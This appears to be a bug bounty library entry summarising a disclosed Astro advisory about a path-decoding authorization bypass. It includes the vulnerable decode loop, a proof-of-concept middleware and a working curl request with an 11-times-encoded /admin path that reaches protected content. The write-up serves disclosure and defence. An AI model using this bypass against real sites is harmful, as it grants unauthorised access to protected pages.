# Astro: Authorization Bypass via Decode Iteration Limit and Rewrite Path Canonicalization Mismatch

Astro 6.4.7 caps iterative URL decoding at 10 passes, so an 11x-encoded /admin reaches middleware as /%61dmin but route matching decodes it to /admin, bypassing pathname auth.

- Payout: Research
- Severity: high
- Program: Astro
- Found by: Eclso
- Disclosed: 2026-07-20
- CVE: CVE-2026-59731
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-vj59-8hwv-xxmv
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-vj59-8hwv-xxmv
- Tags: area:web domain:web impact:internal-access kind:research platform:ghsa sev:high tech:nodejs technique:incomplete-fix technique:parser-differential vuln:access-control vuln:auth-bypass

**Target:** Astro middleware pathname authorization and rewrite route matching
**Root cause:** Iterative decodeURI loop returns a partially decoded pathname once the 10-iteration cap is hit instead of rejecting, while route matching later applies another decodeURI, so middleware and router see different pathnames.
**Steps:**
1. Middleware authorizes on `context.url.pathname` (e.g. blocks `/admin`) and forwards via `next(context.url)`.
2. Send `curl -i http://127.0.0.1:8989/%252525252525252525252561dmin` (encoding depth 11).
3. Decoder stabilizes at depth 10 to `/%2525252525252525252561dmin`; depth 11 exceeds cap and returns partially decoded `/%61dmin` to middleware.
4. Middleware check misses; rewrite route matching runs `decodeURI(pathname)` turning `/%61dmin` into `/admin`.
5. Protected page renders with 200 and `x-middleware-pathname: /%61dmin`.
**How found:** Noticed the 6.4.7 fix (PR #16967) added an iterative decode loop capped at 10 iterations that returns the partially decoded value rather than failing; hypothesized that exceeding the cap recreates the earlier canonicalization mismatch, then traced encoding depths 0-11 to find the first depth where middleware and router diverge.
**Exploitation:** Unauthenticated attacker requests a protected path encoded 11 times; middleware pathname check sees the non-canonical `/%61dmin` and passes, then Astro's rewrite route matching decodes to `/admin` and serves protected content.
**Insight:** When a fix adds a bounded normalization loop, test inputs just past the bound: any code path that normalizes again later (route matching, rewrite, cache key) will disagree with the capped result. Count the exact iteration where the loop exits and craft encoding depth = cap+1.

## Proof of concept (copied exactly from the original report)

**Bypass curl request with 11x-encoded admin path**

```
curl -i http://127.0.0.1:8989/%252525252525252525252561dmin

Response:

HTTP/1.1 200 OK
x-middleware-pathname: /%61dmin
x-vuln-pattern: next(context.url) rewrite after pathname check

Admin page reached
Protected content rendered after rewrite route matching.
request url: http://127.0.0.1:8989/%61dmin
```

**Vulnerable iterative decode loop with 10-iteration cap**

```
let iterations = 0;

while (decoded !== pathname && iterations < 10) {
	pathname = decoded;

	try {
		decoded = decodeURI(pathname);
	} catch {
		// decodeURI can fail when a decoded literal '%' forms an
		// invalid sequence with adjacent characters.
		break;
	}

	iterations++;
}

return decoded;
```

**Middleware PoC forwarding non-canonical URL via next(context.url)**

```
export const onRequest = defineMiddleware(async (context, next) => {
	const pathname = context.url.pathname;

	if (pathname === '/admin' || pathname.startsWith('/admin/')) {
		return new Response(
			'403 Forbidden: middleware blocked canonical /admin',
			{
				status: 403,
				headers: {
					'content-type': 'text/plain;charset=UTF-8',
					'x-middleware-pathname': pathname,
				},
			}
		);
	}

	if (pathname !== '/') {
		const response = await next(context.url);

		response.headers.set('x-middleware-pathname', pathname);
		response.headers.set(
			'x-vuln-pattern',
			'next(context.url) rewrite after pathname check'
		);

		return response;
	}

	return next();
});
```

